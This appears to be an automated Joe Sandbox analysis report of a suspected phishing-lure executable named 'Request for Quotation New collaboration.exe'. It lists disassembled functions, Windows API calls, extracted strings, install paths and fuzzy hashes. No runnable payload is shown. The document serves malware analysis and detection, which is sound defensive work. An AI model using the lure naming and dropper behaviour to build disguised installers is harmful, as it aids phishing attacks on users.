Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

N, xrefs: 00404D9B
M, xrefs: 00404CBA
, xrefs: 004050C9

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405780
"C:\Users\user\Desktop\Request for Quotation New collaboration.exe", xrefs: 0040577B
\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1875395076
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,76F92EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,76F92EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe
API String ID: 542301482-4064861044
Opcode ID: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,76F93420,00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038C0
1033, xrefs: 004038D4, 00403930
RichEd20, xrefs: 00403AE8
RichEd32, xrefs: 00403AF3
RichEdit, xrefs: 00403B0F
RichEdit20W, xrefs: 00403B00, 00403B06
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
.exe, xrefs: 004039C2
.DEFAULT\Control Panel\International, xrefs: 00403920
"C:\Users\user\Desktop\Request for Quotation New collaboration.exe", xrefs: 004038B7
Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
_Nb, xrefs: 00403A38, 00403AA0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-429850483
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Error launching installer, xrefs: 00402E0C
soft, xrefs: 00402EAC
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Null, xrefs: 00402EB5
Inst, xrefs: 00402EA3
C:\Users\user\Desktop\Request for Quotation New collaboration.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
"C:\Users\user\Desktop\Request for Quotation New collaboration.exe", xrefs: 00402DC5

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
